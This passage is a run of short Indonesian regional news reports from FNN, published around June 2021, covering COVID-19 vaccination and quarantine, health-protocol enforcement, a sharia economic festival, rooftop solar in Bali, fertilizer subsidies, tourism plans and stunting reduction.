dari Dirjen Haji Kemenag RI. “Asrama haji ini menjadi alternatif terakhir ketika terjadi lonjakan kasus. Jadi bukan serta merta hari ini dan besok langsung digunakan, tidak. Kami juga masih menindaklanjuti surat dari pak gubernur untuk dibawa ke pusat. Semua ini kita persiapkan hanya jika terjadi lonjakan kasus,” jelasnya. Selain asrama haji Gorontalo, Pemprov Gorontalo juga telah menyiapkan beberapa tempat lainnya untuk karantina pasien COVID-19. Tempat tersebut diantaranya Hotel Eljie di Kota Gorontalo dan asrama Badan Diklat di Bone Bolango yag sebelumnya digunakan untuk lokasi karantina. (sws)

Gorontalo Jadi Tuan Rumah Festival Ekonomi Syariah

Gorontalo, FNN - Provinsi Gorontalo terpilih menjadi tuan rumah penyelenggaraan Indonesia Sharia Economic Festival (ISEF) atau Festival Ekonomi Syariah Indonesia 2021, untuk wilayah Kawasan Indonesia Timur (KIT). “Festival ekonomi syariah ini adalah kegiatan nasional, namun Gorontalo adalah tuan rumah untuk wilayah KIT," kata Kepala Kantor Perwakilan Bank Indonesia Provinsi Gorontalo Budi Widihartanto usai bertemu Gubernur Gorontalo Rusli Habibie di rumah dinas gubernur, Kamis. KIT ini mencakup Kalimantan, Sulawesi, Maluku, Papua dan Bali, ada juga untuk wilayah Sumatera dan Jawa, namun wilayah timur ini yang paling besar. Penyelengaraan ISEF 2021 akan digelar mulai 27 Juli sampai dengan 3 Agustus 2021 dengan berbagai rangkaian acara di antaranya diskusi, seminar, dan pelatihan produk-produk ekonomi syariah bagi UMKM. Selain itu juga menggelar lomba duta ekonomi syariah, lomba pengetahuan ekonomi dan keuangan syariah, dan lomba nasyid. “Karena masih masa pandemi COVID-19 rencananya akan dilakukan secara daring, tapi juga dilakukan secara tatap muka saat pembukaan. Tapi tetap harus mengikuti protokol kesehatan.Kegiatan ini akan mengakselerasikan pengembangan ekonomi dan keuangan syariah sebagai kekuatan baru,” jelasnya. Sementara itu gubernur memberikan dukungan penuh untuk penyelenggaraan ISEF 2021. Ia berharap semua pihak dapat bersama-sama ikut menyukseskan kegiatan tersebut. “Ini dalam rangka mewujudkan Provinsi Gorontalo sebagai pusat ekonomi dan keuangan syariah di kawasan Indonesia Timur,” ujarnya. (sws)

Tim Yustisi Denpasar Jaring 40 Orang Pelanggar Prokes

Denpasar, FNN - Tim Yustisi Kota Denpasar, Provinsi Bali menjaring 40 orang pelanggar protokol kesehatan saat melakukan penertiban protokol kesehatan pada pemberlakuan pembatasan kegiatan masyarakat (PPKM) skala mikro di kawasan Kecamatan Denpasar Barat. Kepala Satuan Polisi Pamong Praja (Satpol PP) Kota Denpasar Dewa Gede Anom Sayoga di Denpasar, Kamis, mengatakan dari semua yang ditertibkan tersebut, di antaranya sebanyak 22 orang di denda di tempat Rp100 ribu karena tidak menggunakan masker, dan 18 orang diberikan pembinaan karena menggunakan masker tidak pada tempatnya. Menurut Dewa Sayoga, warga yang ditertibkan sebagian beralasan lupa menggunakan masker dan lokasi tujuan dekat rumah. Agar hal tersebut tidak terulang kembali, pihaknya memberikan efek jera kepada pelanggar dengan diberikan sanksi fisik (push up) di tempat dan harus menandatangani surat pernyataan tidak melanggar kembali. "Setiap pelanggar diberikan sanksi sebagai efek jera, agar kemudian hari tidak melanggar lagi dan jika melanggar maka mereka harus siap menerima tindakan lebih tegas," ujarnya. Dalam menekan penularan COVID-19, Dewa Sayoga mengaku secara rutin melaksanakan penertiban protokol kesehatan (prokes). Setiap penertiban jika ditemukan ada yang tidak menggunakan masker maka akan di denda di tempat. Sedangkan bagi yang salah menggunakan masker akan diberikan pembinaan. Untuk kebaikan semua orang, Dewa Sayoga mengaku tidak lelah dan akan terus mengingatkan dan mengimbau masyarakat agar selalu mentaati protokol kesehatan 6 M, yakni memakai masker standar dengan benar, mencuci tangan, menjaga jarak, mengurangi bepergian, meningkatkan imun, dan mentaati aturan. "Dengan cara itu kami mengharapkan penularan COVID-19 dapat dikendalikan. Mengingat kasus yang positif COVID-19 saat ini masih terus ditemukan," kata Dewa Sayoga. (sws)

PLN: Jumlah PLTS Atap di Bali Mencapai 128 Pelanggan

Denpasar, FNN - Perusahaan Listrik Negara Unit Induk Distribusi (PLN UID) Bali menyebutkan sebanyak 128 pelanggan pembangkit listrik tenaga surya (PLTS) atap dengan kapasitas 1.514.447 Mega Watt Peak (MWp). "Saat ini di Bali tercatat 128 pelanggan PLTS atap, baik yang on grid (tersambung ke jaringan PLN) maupun tidak, dengan total kapasitas 1.514.447 MWp," kata Senior Manager Perencanaan PT PLN (Persero) Unit Induk Distribusi Bali, Putu Putrawan di Denpasar, Kamis. Ketersediaan sumber Energi Baru Terbarukan (EBT) di Bali cukup melimpah. Potensi EBT yang dapat dikembangkan di Bali, antara lain potensi tenaga panas bumi sebesar 65 MW di Banyuwedang, Seririt, Batukaru, Penebel, Buyan dan Bratan, dan Kintamani. Potensi lainnya seperti tenaga air sebesar 30 MW, tenaga surya 100 MWp. Potensi tenaga sampah 15 MW, tenaga angin 30 MW, dan tenaga arus laut sebesar 12 MW. "Total bauran energi EBT terhadap seluruh sumber energi listrik lainnya sebesar 0,12 persen. Kami berupaya agar angka ini dapat meningkat di tahun-tahun mendatang untuk mencapai 23 persen pada bauran energy di tahun 2025 sesuai dengan Rencana Umum Energi Nasional yang telah ditetapkan," katanya. Putrawan menambahkan bahwa salah satu upaya mempercepat peningkatan bauran energi ini adalah dengan memanfaatkan pembangunan photovoltaic (PV) pada atap-atap bangunan, termasuk kantor-kantor PLN. "Untuk mendukung penerapan Peraturan Gubernur Bali Nomor 45 Tahun 2019 tentang Penggunaan Energi Bersih, selain memanfaatkan atap bangunan untuk dipasang PV, kami juga melakukan langkah-langkah lain seperti kerja sama dengan pemerintah daerah maupun pengembang yang ingin membangun pembangkit EBT," ucapnya. Putrawan mengatakan bahwa PLN telah menerapkan "Bali Eco Smart Grid" dengan tujuan untuk menjaga keandalan dan stabilitas suplai tenaga listrik, peningkatan efisiensi energi, pengurangan emisi CO2. Konsep "smart grid" ini merupakan sistem jaringan listrik yang secara cerdas mampu mengintegrasikan aksi-aksi dari seluruh komponen yang tersambung di dalamnya mulai dari pembangkit, perangkat transmisi, distribusi, hingga konsumen dapat mengantarkan listrik dengan lebih efisien, berkelanjutan, ekonomis, aman dan keandalan yang tinggi. "Dengan adanya pilihan dari pembangkit terutama yang terbarukan, dalam 'smart grid' ini memungkinkan pembangkit-pembangkit terbarukan masuk ke dalam sistem secara on grid, sehingga pilihan pembangkit lebih beragam dan konsumen dimungkinkan untuk membangkitkan listriknya sendiri misalnya dengan menggunakan PV Rooftop dan terjadi proses transaksi saling mengisi secara offset," kata Putrawan. (sws)

Tak Terdampak Pandemi, Pemkab Bogor Apresiasi Penyuluh Pertanian

Tamansari, Bogor, FNN - Pemerintah Kabupaten (Pemkab) Bogor, Jawa Barat mengapresiasi kerja para penyuluh pertanian karena sektor tersebut merupakan salah satu yang tak terdampak pandemi COVID-19. "Salah satu sektor yang tak terdampak pandemi adalah pertanian," kata Tim Percepatan Pembangunan Kabupaten Bogor, Saepudin Muhtar alias Gus Udin usai menghadiri penilaian penyuluh berprestasi di Tamansari, Bogor, Kamis. Ia menjelaskan Pemkab Bogor melalui Dinas Tanaman Pangan Holtikultura dan Perkebunan (Distanhorbun) menggelar penilaian penyuluh berprestasi demi meningkatkan kapasitas kelembagaan penyuluhan pertanian mulai dari tingkat kecamatan hingga desa. Gus Udin menambahkan Pemkab Bogor juga telah membagikan puluhan ribu Kartu Tani sejak akhir tahun 2018 saat awal masa kepemimpinan Bupati Ade Yasin. Pembagian kartu untuk petani ini, lanjut dia, merupakan salah satu wujud dari program Pancakarsa khususnya Karsa Bogor Maju. Pasalnya, melalui kartu tersebut para petani dapat membeli pupuk bersubsidi dan pembagian subsidi lebih tepat sasaran. Selama ini, Kartu Tani tersebut berfungsi sebagai Asuransi Usaha Tani Padi (AUTP). Manfaat asuransi tani tersebut adalah memberikan perlindungan kepada petani jika terjadi bencana kekeringan. "Jika terjadi gagal panen maka petani dapat melakukan klaim untuk mendapatkan ganti," kata Gus Udin. (sws)

Pemkot Bogor Lanjutkan Vaksinasi Lansia Dengan Cara Jemput Bola

Bogor, FNN - Dinas Kesehatan Kota Bogor melanjutkan vaksinasi kepada orang lanjut usia (lansia) dengan cara jemput bola yakni vaksinator yang berkunjung ke domisili sasaran. Kepala Dinas Kesehatan Kota Bogor, Sri Nowo Retno, di Kota Bogor, Kamis, mengatakan langkah-langkah jemput bola yang dilakukan tenaga kesehatan di Dinas Kesehatan Kota Bogor meliputi, pertama, melalui fasilitas layanan kesehatan, yakni rumah sakit dan puskesmas. "Dinas Kesehatan memasok vaksin di rumah sakit dan puskesmas, sehingga lansia bisa mendatangi rumah sakit dan puskesmas untuk menjalani vaksinasi," katanya. Kedua, pelayanan vaksinasi dengan sasaran lansia dalam kendaraan atau "drive thru" seperti dilakukan beberapa kali di GOR Pajajaran Kota Bogor. Ketiga, tenaga kesehatan yang menjadi vaksinator mendatangi panti jompo untuk melaksanakan vaksinasi terhadap lansia. Keempat, melaksanakan vaksinasi lansia di pos pembinaan terpadu (posbindu). Bahkan, ada pelaksanaan vaksinasi kepada lansia di rumah bidan yang menjadi tetangga lansia, katanya. Menurut Retno, Dinas Kesehatan juga telah membuat kesepakatan dengan camat dan lurah, untuk melaksanakan vaksinasi di kantor kecamatan dan kantor kelurahan. "Kami membuat kesepakatan dengan camat dan lurah, untuk bersama-sama memobilisasi dan penggerakan sasaran lansia untuk vaksinasi. Ini sudah kita lakukan. Bahkan, kami sampai melakukan langkah "door to door" ke rumah lansia," katanya. Menurut Retno sejumlah langkah jemput bola yang dilakukan dinas kesehatan dalam melaksanakan vaksinasi kepada lansia, karena ada beberapa kendala yang dihadapi, seperti merasa takut, sulit menjangkau rumah sakit atau puskesmas, tidak diizinkan oleh keluarga, dan tidak bersedia. Retno menjelaskan realisasi pelaksanaan vaksinasi terhadap lansia hingga Senin (7/6) adalah, untuk dosis pertama sebanyak 38.077 orang dan untuk dosis kedua sebanyak 33.050 orang. Menurut Retno, berdasarkan data Komite Penanganan Coronavirus Disease 2019 dan Pemulihan Ekonomi Nasional (KPCPEN) jumlah lansia di Kota Bogor ada 95.371 orang. Berdasarkan data KPCPEN tersebut, maka persentase lansia yang telah menjalani vaksinasi untuk dosis pertama adalah 39,93 persen dan untuk dosis kedua 34,65 persen. Sedangkan berdasarkan pendataan oleh tenaga kesehatan di Puskesmas, jumlah lansia di Kota Bogor ada 61.189 orang. Jika berdasarkan pendataan dari puskesmas, maka persentase lansia yang telah menjalani vaksinasi, untuk dosis pertama adalah 62,22 persen dan untuk dosis kedua adalah 54,01 persen. Retno menjelaskan persentase realisasi pelaksanaan vaksinasi untuk lansia berdasarkan data KPCPEN yakni 39,93 persen, sudah merupakan pencapaian tertinggi di Jawa Barat. Apalagi jika berdasarkan data Dinas Kesehatan Kota Bogor yakni 62,22 persen, sudah sangat tinggi. (sws)

Pemkab Mukomuko Ajukan Penurunan Status Beberapa Cagar Alam ke BKSDA

Mukomuko, FNN - Pemerintah Kabupaten Mukomuko, Provinsi Bengkulu tengah mengajukan penurunan status beberapa cagar alam (CA) yang terlanjur dimanfaatkan masyarakat agar bisa menjadi taman wisata alam (TWA) ke Balai Konservasi Sumber Daya Alam (BKSDA). Kepala Dinas Pariwisata, Kepemudaan, dan Olahraga Kabupaten Mukomuko Apriansyah di Mukomuko, Kamis, mengakui langkah tersebut dengan melakukan berbagai upaya salah satunya melalui pengajuan permohonan ke BKSDA. “Ada permohonan, bersurat ke BKSDA untuk meminta data riwayat atau histori kawasan pantai yang berstatus CA tersebut, sekaligus meminta penurunan status CA tersebut menjadi TWA,” ujarnya. Ia mengatakan sebelumnya telah berkoordinasi dengan BKSDA terkait dengan usulan untuk menurunkan status CA, dan setelah ini akan dilanjutkan lagi melalui koordinasi dengan BKSDA. Ia mengatakan bupati setempat menginginkan di daerah ini ada penurunan status cagar alam sehingga kawasan ini bisa menjadi tempat untuk pengembangan sektor wisata. Selain itu, katanya, nantinya kawasan cagar alam ini bisa untuk menjadi tempat untuk pengembangan sektor pariwisata perikanan di daerah ini. Ia menyebutkan sedikitnya terdapat enam pantai dalam kawasan cagar alam yang potensial menjadi tujuan wisata di daerah ini, yakni Pantai Air Buluh, Pantai Retak Ilir, Pantai Teluk Bakung, Pantai Pandan Wangi, Pantai Air Patah, Pantai Umbul 25 di satuan pemukiman 10. Ia menyatakan meskipun sejumlah pantai di daerah ini telah dimanfaatkan oleh masyarakat menjadi lokasi objek wisata, tetapi pantai ini masih terlihat alami karena belum digarap secara maksimal akibat belum ada legalitas. Ia memastikan masyarakat yang memanfaatkan pantai ini menjadi objek wisata menjaga kebersihan dan kelestarian pantai tersebut dan tidak pernah mengurangi pohon di lokasi pantai tersebut. (sws)

Rejang Lebong Kembangkan Air Terjun Tri Sakti

Rejang Lebong, FNN - Pemerintah Kabupaten Rejang Lebong, Provinsi Bengkulu, akan mengembangkan obyek wisata Air Terjun Tri Sakti di Desa Belitar Seberang, Kecamatan Sindang Kelingi, menjadi destinasi wisata yang menarik. Kepala Dinas Pariwisata (Dispar) Rejang Lebong Upik Zumratul Aini di Rejang Lebong, Kamis, mengatakan obyek wisata Air Terjun Tri Sakti sudah ditinjau langsung dan memerlukan pembangunan sarana prasarana pendukung seperti akses jalan, shelter dan lainnya. "Potensinya sangat bagus, saya sudah pernah ke Air Terjun Pemandian Punai, Air Terjun Tangga Seribu, Air Terjun Benteng, dan Banyuwangi disini jauh berbeda. Kalau yang lain airnya tidak terlalu besar tetapi yang ini airnya cukup besar dan benar-benar air terjun," kata dia. Pengembangan Air Terjun Tri Sakti yang sebelumnya bernama Air Terjun Tri Muara Karang ini akan dilakukan setelah berkoordinasi dengan DPUPR Rejang Lebong, di mana pada tahun 2021 sudah direncanakan pembangunan jalan aspal melalui Desa Sindang Jati, Kecamatan Sindang Kelingi. Sedangkan sarana pendukung lainnya, , ialah pembangunan shelter atau tempat pemberhentian pada jalan turun ke lokasi air terjun yang mencapai 100 meter sehingga pengunjung bisa beristirahat dan menikmati pemandangan air terjun yang memiliki keunikan itu lantaran air yang keluar selain dingin juga air hangat. Untuk menjadikan obyek wisata Air Terjun Tri Sakti menjadi salah satu destinasi wisata andalah harus memiliki 3A berupa aset, akses dan atraksi. Aset berupa sarana pendukung dilokasi wisata, akses berupa sarana jalan menuju lokasi wisata dan atraksi berupa kegiatan penampilan seni budaya lokal. Sebelumnya, pada 2020 lahan obyek wisata Air Terjun Tri Sakti yang berada di Desa Belitar Seberang ini dihibahkan oleh pemiliknya ke Pemkab Rejang Lebong, dan sejak awal 2021mulai dikelola oleh BUMDes Belitar Seberang dan mendapat penyertaan modal sebesar Rp25 juta untuk pembangunan sarana prasarana pendukung. (sws)

Pemprov Kepri Jamin Vaksin AstraZeneca Habis Sebelum Kadaluwarsa

Tanjungpinang, FNN - Pemerintah Provinsi Kepulauan Riau (Kepri) menjamin stok 11.500 vial vaksin AstraZeneca habis digunakan sebelum masa kedaluwarsa pada tanggal 30 Juni 2021. "Target kami, 25 Juni 2021 sudah habis," kata Sekdaprov Kepri TS Arif Fadillah di Tanjungpinang, Kamis (10/6). Arif juga memastikan sampai saat ini tak ada vaksin AstraZeneca yang kedaluwarsa di daerah tersebut. Pihaknya rutin memantau pelaksanaan vaksinasi COVID-19 di seluruh kabupaten/kota. "Kalau sampai ada vaksin kedaluwarsa, itu salah kabupaten/kota, karena mereka yang lebih tahu kondisi di lapangan," ujarnya. Menurutnya Pemprov Kepri terus menggesa agar target vaksinasi sebesar 50 persen dari total 1,4 juta penerima vaksin di daerah itu dapat tercapai hingga akhir Juni 2020. Dia katakan saat ini capaian vaksinasi di Kepri masih 17 persen atau berada di bawah nasional sebesar 20 persen. "Cakupan vaksinasi di Kepri per hari sekitar 10 ribu orang. Kita gesa lebih dari itu, agar bisa memenuhi target 50 persen," ungkapnya. Lebih lanjut Arif meminta tujuh kabupaten/kota memperluas pelaksanaan vaksinasi kepada masyarakat umum hingga para pekerja formal dan informal. "Ini sesuai dengan Surat Edaran Gubernur Kepri tanggal 10 Juni 2021 tentang Perluasan Sasaran Vaksinasi COVID-19," ujarnya. Dia turut mengimbau supaya Pemerintah Kabupaten/Kota mengkoordinasikan kepada Pemprov Kepri jika ada kendala dalam pelaksanaan vaksinasi COVID-19. Kabupaten/kota juga diminta perbanyak sentra vaksinasi, dan pemprov siap menurunkan tenaga vaksinator untuk membantu program vaksinasi hingga ke tingkat desa. "Kalau butuh vaksin, langsung kita kirim. Apalagi Pemerintah Pusat melalui Kemenkes berkomitmen penuh mendukung program vaksinasi di Kepri," kata Arif. (sws)

Gubernur: Tunjangan Kinerja ASN Tidak Dibayar Jika Menolak Divaksin

Tanjungpinang, FNN - Gubernur Kepulauan Riau (Kepri) Ansar Ahmad menegaskan tidak akan membayar tunjangan kinerja ASN di daerah itu apabila mereka menolak vaksinasi COVID-19. "Saya sudah mengeluarkan surat edaran untuk semua ASN yang belum vaksin, wajib vaksinasi. Jika tidak, tunjangan kinerja bulan depan tidak dibayarkan," kata Gubernur Ansar di Tanjungpinang, Kamis. Ansar menyebut kebijakan ini untuk mendorong seluruh ASN segera ikut vaksinasi demi mewujudkan kekebalan kelompok atau herd immunuty. Apalagi ASN merupakan ujung tombak pemerintah sebagai contoh bagi masyarakat. "Tingkat vaksinasi ASN masih rendah. Dari total 6.000 ASN, belum sampai 50 persen yang telah divaksin," ungkapnya. Ansar berharap target vaksinasi Kepri hingga akhir Juli 2021 mencapai 70 persen dari jumlah penduduk sekitar 2 juta orang. Dilihat dari rata-rata nasional, menurut dia, Kepri saat ini berada di urutan ketiga percepatan vaksinasi setelah DKI Jakarta dan Bali. "Kalau vaksinasi di angka 70 persen, Kepri sudah bisa menerima wisatawan mencanegara. Tentu ini dapat mempercepat pemulihan ekonomi imbas pandemi COVID-19," ungkapnya. Ansar mengapresiasi semua pemangku kepentingan (stakeholder) terhadap percepatan vaksinasi, seperti unsur TNI/Polri yang telah melakukan vaksinasi massal hingga ke pulau-pulau. Dari berbagai penelitian lembaga di dunia, lanjut dia, vaksin dapat memperkuat imunitas seseorang untuk terhindar dari COVID-19 dengan persentase 92 sampai 93 persen. "Namun, perlu diingat tak ada jaminan orang yang sudah divaksin 100 persen terhindar COVID-19. Maka, setelah divaksin, tetap harus menjalankan protokol kesehatan dengan patuh," ujar Ansar. Politikus Partai Golkar itu juga memastikan pemerintah provinsi setempat terus melakukan upaya tracing dan testing agar dapat menyasar masyarakat yang terpapar COVID-19, baik yang tanpa gejala maupun yang bergejala. "Selanjutnya kami akan menyediakan tempat-tempat karantina bagi yang terkonfirmasi positif. Selain rumah sakit dan puskesmas, ada juga lokasi karantina terpadu," katanya menjelaskan. (sws)

Pemkot Tangerang Gandeng Pewaralaba Gelar Pelatihan Kewirausahaan

Tangerang, FNN - Pemerintah Kota Tangerang melalui Dinas Perindustrian, Perdagangan, Koperasi dan UKM bekerja sama dengan pewarala Indomaret menyelenggarakan pelatihan kewirausahaan mandiri bagi pelaku industri kecil menengah atau IKM Kota Tangerang. Wakil Wali Kota Tangerang Sachrudin di Tangerang Kamis, memberikan apresiasinya kepada PT Indomarco Prismatama (Indomaret) yang memberikan sumbangsih untuk memajukan UMKM di Kota Tangerang. “Kerja sama yang baik ini harus terus terjalin sebagai sinergi kita dalam memulihkan ekonomi masyarakat,” kata Sachrudin. Sachrudin juga memberi arahan kepada seluruh peserta agar dapat memanfaatkan kesempatan ini untuk meningkatkan kualitas produk usaha yang dijalani. “Jadikan pelatihan ini sebagai langkah strategis untuk berekspansi lebih luas lagi dalam hal pemasaran, inovasi produk serta kualitas produk yang dihasilkan. Meskipun masih di tengah situasi pandemi, kita harus bisa menjadikan ini sebagai batu loncatan untuk meningkatkan jaringan dan volume usaha, sehingga kita sudah satu langkah lebih maju dan siap bersaing di masa mendatang,” ujarnya. Kepala Dinas Perindustrian, Perdagang, Koperasi dan Usaha Kecil dan Menengah Kota Tangerang (Disperindakop) Teddy Bayu Putra, menjelaskan kegiatan pelatihan yang diikuti oleh 75 peserta dari UMKM Kecamatan Se-Kota Tangerang ini difasilitasi untuk menjangkau volume industri yang lebih luas lagi melalui jaringan usaha waralaba ataupun retail. “Kita terus berupaya agar UKM di Kota Tangerang bisa berkembang ke arah yang lebih besar yakni menjadi IKM atau Industri Kecil Menengah. Dengan semakin besar volume usahanya, kualitasnya semakin baik, pemasaran melalui toko online Ayo Rangkul bisa semakin dimaksimalkan,” katanya. Kegiatan pelatihan yang bertemakan Startegi IKM Bertahan dimasa Pandemi Covid-19 ini turut mengundang salah satu pakar olahan pangan UMKM yakni Puguh Priyo Sudibyo sebagai narasumber dalam pelatihan tersebut. (sws)

Pemprov Banten Salurkan Pupuk Subsidi di 8 Kabupaten dan Kota

Serang, FNN - Pemerintah Provinsi (Pemprov) Banten menyalurkan pupuk bersubsidi untuk kuota 2021 ke para kelompok tani di delapan kabupaten dan kota di Banten. Kepala Dinas Pertanian (Distan) Banten, Agus M Tauhid di Serang, Kamis mengatakan, pengalokasian pupuk bersubsidi sesuai dalam keputusan kepala Distan Banten, nomor 903/01/KPTS-Distan/01/2021 tentang alokasi kebutuhan dan harga eceran tertinggi (HET) pupuk bersubsidi untuk sektor pertanian yang ditetapkan 04 Januari 2021. Keputusan itu dikeluarkan untuk menjaga ketersediaan pupuk bersubsidi ditingkat petani sesuai jumlah, jenis, waktu dan tempat, dengan mutu terjamin dan harga berdasarkan eceran tertinggi, kemudian perlunya pengaturan pengalokasian pengadaan dan penyaluran pupuk bersubsidi. "Alokasi pupuk subsidi tingkat provinsi mempertimbangkan luas baku lahan sawah yang dilindungi dan penetapan LP2B (Lahan Pertanian Pangan Berkelanjutan), usulan pupuk dari kabupaten dan kota, penyerapan pupuk bersubsidi tahun sebelumnya," Agus. Setiap daerah akan mendapatkan alokasi pupuk yang berbeda, sesuai kebutuhan dari para petaninya. Untuk pupuk urea, lanjut dia, total yang disalurkan ke kabupaten dan kota berjumlah 76.557 kilogram, kemudian SP-36 sebanyak 5.471 kg, ZA 906 kg, NPK 28.755 kg, organik 8.611kg dan pupuk organik cair 21.528 kg. "Pupuk diberikan kepada kelompok tani yang sudah disusun berdasarkan rencana definitif kebutuhan kelompok (RDKK) tani pupuk bersubsidi," kata dia. Kemudian, untuk harga eceran tertinggi pupuk bersubsidi juga sudah ditentukan, yakni urea sebesar Rp2.250 per kilogram, SP-36 sebesae Rp 2.400 per kg, ZA seharga Rp 1.700 per kg, NPK seharga Rp 2.300 per kg, NPK formula khusus senilai Rp 3.300 per kg, organik granul senilai Rp 800 per kg, dan pupuk organik cair seharga Rp 20 ribu per liter. Cara membelinya, setiap petani terdaftar di dalam kelompok tani (poktan), terdaftar dalam sistem Rencana Definisi Kebutuhan Kelompok (e-RDKK) tani pupuk bersubsidi, dan memiliki kartu tani yang dikeluarkan oleh perbankan. Bila belum memiliki kartu tani, petani diharuskan menunjukkan Kartu Tanda Penduduk (KTP) dan mengisi form penebusan pupuk bersubsidi yang di produksi oleh PT Pupuk Indonesia yang ditunjuk menteri BUMN. "Pupuk bersubsidi diperuntukkan bagi petani yang bergabung dalam kelompok tani, terdaftar dalam sistem e-RDKK. Kartu tani dikeluarkan oleh perbankan kepada petani, untuk digunakan dalam transaksi penebusan pupuk bersubsidi," katanya. Adapun data alokasi pupuk subsidi pada delapan kabupaten dan kota di Banten diantaranya yaitu, Kabupaten Pandeglang, urea 21.983 kg, SP-36 1.574 kg, ZA 50 kg, NPK 9.668 kg, organik 2.594 kg, organik cair 6.484 kg. Kabupaten Lebak, urea 22.783 kg, SP-36 121 kg, ZA 549 kg, NPK 10.318 kg, organik 2.811 kg, organik cair 7.029 kg. Kqbupaten Tangerang, urea 10.578 kg, SP-36 266 kg, ZA 198 kg, NPK 2.850 kg, organik 309 kg, organik cair 772 kg. Kabupaten Serang, urea 18.365 kg, SP-36 278 kg, ZA 83 kg, NPK 4.726 kg, organik 2.674 kg, organik cair 6.686 kg. Kota Serang, urea 2.093 kg, SP-36 13 kg, ZA 2 kg, NPK 962 kg, organik 204 kg, organik cair 510 kg. Kota Tangerang, urea 265 kg, SP-36 107 kg, ZA 23 kg, NPK 28 kg, organik 6 kg, organik cair 15 kg. Kota Cilegon pupuk urea 490 kg, SP-36 112 kg, ZA 1 kg, NPK 203 kg, organik 13 kg, organik cair 32 kg. (sws)

HSU Sukses Turunkan Angka Stunting Dari 56 Persen Jadi 20,51 Persen

Amuntai, FNN - Pemerintah Kabupaten Hulu Sungai Utara (HSU), Kalimantan Selatan, menjadi salah satu kabupaten yang mampu menekan angka stunting atau kurang gizi kronis pada anak dari sebelumnya 56 persen menjadi 20,51 persen. Ketua PKK Kabupaten HSU Hj Anisah Rasyidah di Amuntai Kamis, mengatakan, pada 2013 daerahnya termasuk 100 daerah yang menjadi fokus penanganan stunting secara nasional. "Pada 2013 angka stunting mencapai 56 persen, dan ini menjadi cambuk bagi kami untuk berbenah menanganinya," katanya. Menindaklanjuti itu, tambah dia, maka dibuat peraturan bupati untuk mengatur cara kesehatan ibu dan anak bisa terlayani di tingkat layanan dasar, perilaku PHBS, serta membentuk tim penanganan stunting. "Segala upaya yang dilakukan tersebut, angka stunting Kabupaten Hulu Sungai Utara tahun demi tahun terus menurun, hingga 2020 menjadi sekitar 20,51 persen," katanya. Hal tersebut disampaikan Anisah saat mendampingi kunjungan Pj Ketua PKK Kalsel Safriati Safrizal, ke lokasi khusus (lLocus) stunting di Desa Jingah Bujur, Kecamatan Haur Gading, HSU. Stunting adalah masalah kurang gizi kronis yang disebabkan oleh kurangnya asupan gizi dalam waktu yang cukup lama, sehingga mengakibatkan gangguan pertumbuhan pada anak yakni tinggi badan anak lebih rendah atau pendek (kerdil) dari standar usianya. Berdasarkan data riset kesehatan dasar (riskesdas) pada 2013, prevalensi angka stunting HSU mencapai 56 persen. Berdasarkan data Dinas Kesehatan HSU, hingga Desember 2020, angka tersebut turun menjadi 20,15 persen, dengan jumlah balita stunting (pendek+sangat pendek) sebanyak 3.639, dari total balita yang diukur antropometrinya sebanyak 15.885 balita. Antropometri adalah suatu metode yang digunakan untuk menilai ukuran, proporsi, dan komposisi tubuh manusia. Standar Antropometri anak adalah kumpulan data tentang ukuran, proporsi, komposisi tubuh sebagai rujukan untuk menilai status gizi dan tren pertumbuhan anak. Penjabat Ketua PKK Provinsi Kalimantan Selatan Safriati Safrizal ZA mengatakan, strategi dalam penanganan stunting di antaranya melalui makanan yang bergizi, kampanye cegah stunting serta pencegahan pernikahan usia anak. Pentingnya memperhatikan asupan makanan bergizi bagi ibu hamil, bayi dan balita, terutama dalam 1.000 hari pertama kehidupan. Menurut dia, masalah kekurangan gizi adalah masalah sangat kompleks di masyarakat, sehingga membutuhkan peran lintas sektor termasuk TP-PKK. Safriati juga mengatakan, aspek promotif berupa sosialisasi bagi ibu hamil dan keluarga untuk meningkatkan pemahaman mencegah stunting. Sosialisasi mengenai hal ini dilakukan dengan melibatkan PKK, tokoh agama, tokoh masyarakat, RT dan RW serta kader PKK sendiri. "Sinergi dan kolaborasi tidak bisa ditinggalkan.Saya sangat mengapresiasi peran Pemkab HSU dalam menangani stunting," katanya. (sws)

PT RTP Serahkan Bantuan Kursi Roda ke Dinkes Tabalong

Banjarbaru, FNN - PT Restu Tanjung Permai menyerahkan bantuan 10 kursi roda ke Dinas Kesehatan Kabupaten Tabalong, Kalsel untuk mendukung pelayanan di puskesmas. "Bantuan ini bentuk tanggung jawab sosial perusahaan untuk mendukung peningkatan pelayanan kesehatan di Tabalong," ucap Penanggungjawab Operasional PT RTP Salman didampingi bagian legal dan hubungan eksternal PT RTP Muhammad Irana Yudiartika di Tanjung, Kamis. Bantuan tersebut diserahkan oleh Penanggungjawab Operasional PT RTP kepada Kepala Dinas Kesehatan Kabupaten Tabalong Taufiqurrahman Hamdie. Sebelumnya PT RTP juga menyerahkan bantuan 10 kursi roda ke RSUD H Badaruddin Kasim Tanjung melalui program CSR 2021. Salman juga menambahkan rencananya bantuan kursi roda akan diberikan kepada 18 puskesmas yang ada di 'Bumi Saraba Kawa'. "Rencananya ada 18 kursi roda kami serahkan ke Dinas Kesehatan namun baru 10 kursi roda yang datang," jelas Salman. Pada kesempatan yang sama PT RTP juga menyerahkan bantuan 10 alat pengukur suhu ke Dinas Kesehatan setempat. Kepala Dinas Kesehatan Kabupaten Tabalong Taufiqurrahman Hamdi menyampaikan apresiasinya atas dukungan PT RTP terhadap peningkatan pelayanan di puskesmas. "Kursi roda ini bisa dimanfaatkan para lansia maupun kalangan disabilitas," jelas Taufik . Taufik pun berharap pihak swasta juga bisa mendukung peningkatan sarana dan fasilitas berupa perangkat sistem informasi di puskesmas sehingga memberikan kemudahan bagi masyarakat. (sws)

Angka Kematian Pasien COVID-19 di Bangka Capai 73 Orang

